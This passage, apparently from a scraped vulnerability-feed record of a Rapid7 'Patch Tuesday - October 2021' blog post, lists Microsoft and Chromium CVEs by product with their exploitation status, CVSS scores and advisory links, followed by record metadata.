No | No | N/A | Yes \n[CVE-2021-37976](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37976>) | Chromium: CVE-2021-37976 Information leak in core | No | No | N/A | Yes \n[CVE-2021-37975](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37975>) | Chromium: CVE-2021-37975 Use after free in V8 | No | No | N/A | Yes \n[CVE-2021-37974](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-37974>) | Chromium: CVE-2021-37974 Use after free in Safe Browsing | No | No | N/A | Yes \n \n### Developer Tools Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-3450](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-3450>) | OpenSSL: CVE-2021-3450 CA certificate check bypass with X509_V_FLAG_X509_STRICT | No | No | N/A | Yes \n[CVE-2021-3449](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-3449>) | OpenSSL: CVE-2021-3449 NULL pointer deref in signature_algorithms processing | No | No | N/A | Yes \n[CVE-2020-1971](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1971>) | OpenSSL: CVE-2020-1971 EDIPARTYNAME NULL pointer de-reference | No | No | N/A | Yes \n[CVE-2021-41355](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41355>) | .NET Core and Visual Studio Information Disclosure Vulnerability | No | No | 5.7 | Yes \n \n### ESU Windows Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-38663](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38663>) | Windows exFAT File System Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-40465](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40465>) | Windows Text Shaping Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-36953](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36953>) | Windows TCP/IP Denial of Service Vulnerability | No | No | 7.5 | No \n[CVE-2021-40460](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40460>) | Windows Remote Procedure Call Runtime Security Feature Bypass Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-36970](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36970>) | Windows Print Spooler Spoofing Vulnerability | No | No | 8.8 | No \n[CVE-2021-41332](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41332>) | Windows Print Spooler Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2021-41331](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41331>) | Windows Media Audio Decoder Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-41342](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41342>) | Windows MSHTML Platform Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2021-41335](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41335>) | Windows Kernel Elevation of Privilege Vulnerability | No | Yes | 7.8 | No \n[CVE-2021-40455](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40455>) | Windows Installer Spoofing Vulnerability | No | No | 5.5 | No \n[CVE-2021-26442](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26442>) | Windows HTTP.sys Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-41340](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41340>) | Windows Graphics Component Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-38662](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38662>) | Windows Fast FAT File System Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-41343](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41343>) | Windows Fast FAT File System Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-40469](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40469>) | Windows DNS Server Remote Code Execution Vulnerability | No | Yes | 7.2 | Yes \n[CVE-2021-40443](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40443>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40466](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40466>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40467](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40467>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40449](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449>) | Win32k Elevation of Privilege Vulnerability | Yes | No | 7.8 | No \n[CVE-2021-40489](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40489>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n \n### Exchange Server Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-41350](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41350>) | Microsoft Exchange Server Spoofing Vulnerability | No | No | 6.5 | No \n[CVE-2021-26427](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26427>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9 | Yes \n[CVE-2021-41348](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41348>) | Microsoft Exchange Server Elevation of Privilege Vulnerability | No | No | 8 | No \n[CVE-2021-34453](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34453>) | Microsoft Exchange Server Denial of Service Vulnerability | No | No | 7.5 | No \n \n### Microsoft Dynamics Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-40457](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40457>) | Microsoft Dynamics 365 Customer Engagement Cross-Site Scripting Vulnerability | No | No | 7.4 | Yes \n[CVE-2021-41353](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41353>) | Microsoft Dynamics 365 (on-premises) Spoofing Vulnerability | No | No | 5.4 | No \n[CVE-2021-41354](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41354>) | Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability | No | No | 4.1 | No \n \n### Microsoft Office Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-40486](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40486>) | Microsoft Word Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40484](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40484>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-40483](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40483>) | Microsoft SharePoint Server Spoofing Vulnerability | No | No | 7.6 | No \n[CVE-2021-41344](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41344>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.1 | No \n[CVE-2021-40487](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40487>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.1 | Yes \n[CVE-2021-40482](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40482>) | Microsoft SharePoint Server Information Disclosure Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-40480](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40480>) | Microsoft Office Visio Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40481](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40481>) | Microsoft Office Visio Remote Code Execution Vulnerability | No | No | 7.1 | Yes \n[CVE-2021-40471](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40471>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40473](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40473>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40474](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40474>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40479](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40479>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40485](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40485>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-40472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40472>) | Microsoft Excel Information Disclosure Vulnerability | No | No | 5.5 | Yes \n \n### Microsoft Office Windows Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-40454](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40454>) | Rich Text Edit Control Information Disclosure Vulnerability | No | No | 5.5 | Yes \n \n### System Center Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-41352](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41352>) | SCOM Information Disclosure Vulnerability | No | No | 7.5 | Yes \n \n### Windows Vulnerabilities\n\nCVE | Title | Exploited | Publicly Disclosed? | CVSSv3 Base Score | has FAQ? \n---|---|---|---|---|--- \n[CVE-2021-40464](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40464>) | Windows Nearby Sharing Elevation of Privilege Vulnerability | No | No | 8 | No \n[CVE-2021-40463](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40463>) | Windows NAT Denial of Service Vulnerability | No | No | 7.7 | No \n[CVE-2021-40462](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40462>) | Windows Media Foundation Dolby Digital Atmos Decoders Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-41336](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41336>) | Windows Kernel Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-38672](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-38672>) | Windows Hyper-V Remote Code Execution Vulnerability | No | No | 8 | Yes \n[CVE-2021-40461](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40461>) | Windows Hyper-V Remote Code Execution Vulnerability | No | No | 8 | No \n[CVE-2021-40477](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40477>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-41334](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41334>) | Windows Desktop Bridge Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2021-40475](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40475>) | Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-40468](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40468>) | Windows Bind Filter Driver Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-41347](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41347>) | Windows AppX Deployment Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-41338](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41338>) | Windows AppContainer Firewall Rules Security Feature Bypass Vulnerability | No | Yes | 5.5 | No \n[CVE-2021-40476](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40476>) | Windows AppContainer Elevation Of Privilege Vulnerability | No | No | 7.5 | No \n[CVE-2021-40456](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40456>) | Windows AD FS Security Feature Bypass Vulnerability | No | No | 5.3 | Yes \n[CVE-2021-40450](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40450>) | Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-41357](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41357>) | Win32k Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40478](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40478>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-40488](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40488>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-26441](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26441>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2021-41345](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41345>) | Storage Spaces Controller Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-41330](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41330>) | Microsoft Windows Media Foundation Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2021-41339](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41339>) | Microsoft DWM Core Library Elevation of Privilege Vulnerability | No | No | 4.7 | No \n[CVE-2021-40470](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40470>) | DirectX Graphics Kernel Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-41346](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41346>) | Console Window Host Security Feature Bypass Vulnerability | No | No | 5.3 | No \n[CVE-2021-41337](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41337>) | Active Directory Security Feature Bypass Vulnerability | No | No | 4.9 | Yes \n[CVE-2021-41361](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41361>) | Active Directory Federation Server Spoofing Vulnerability | No | No | 5.4 | Yes", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 7.4, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.2}, "published": "2021-10-12T19:47:16", "type": "rapid7blog", "title": "Patch Tuesday - October 2021", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1971", "CVE-2021-26427", "CVE-2021-26441", "CVE-2021-26442", "CVE-2021-34453", "CVE-2021-3449", "CVE-2021-3450", "CVE-2021-36953", "CVE-2021-36970", "CVE-2021-37974", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-37977", "CVE-2021-37978", "CVE-2021-37979", "CVE-2021-37980", "CVE-2021-38662", "CVE-2021-38663", "CVE-2021-38672", "CVE-2021-40443", "CVE-2021-40449", "CVE-2021-40450", "CVE-2021-40454", "CVE-2021-40455", "CVE-2021-40456", "CVE-2021-40457", "CVE-2021-40460", "CVE-2021-40461", "CVE-2021-40462", "CVE-2021-40463", "CVE-2021-40464", "CVE-2021-40465", "CVE-2021-40466", "CVE-2021-40467", "CVE-2021-40468", "CVE-2021-40469", "CVE-2021-40470", "CVE-2021-40471", "CVE-2021-40472", "CVE-2021-40473", "CVE-2021-40474", "CVE-2021-40475", "CVE-2021-40476", "CVE-2021-40477", "CVE-2021-40478", "CVE-2021-40479", "CVE-2021-40480", "CVE-2021-40481", "CVE-2021-40482", "CVE-2021-40483", "CVE-2021-40484", "CVE-2021-40485", "CVE-2021-40486", "CVE-2021-40487", "CVE-2021-40488", "CVE-2021-40489", "CVE-2021-41330", "CVE-2021-41331", "CVE-2021-41332", "CVE-2021-41334", "CVE-2021-41335", "CVE-2021-41336", "CVE-2021-41337", "CVE-2021-41338", "CVE-2021-41339", "CVE-2021-41340", "CVE-2021-41342", "CVE-2021-41343", "CVE-2021-41344", "CVE-2021-41345", "CVE-2021-41346", "CVE-2021-41347", "CVE-2021-41348", "CVE-2021-41350", "CVE-2021-41352", "CVE-2021-41353", "CVE-2021-41354", "CVE-2021-41355", "CVE-2021-41357", "CVE-2021-41361", "CVE-2021-41363"], "modified": "2021-10-12T19:47:16", "id": "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "href": "https://blog.rapid7.com/2021/10/12/patch-tuesday-october-2021/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}]}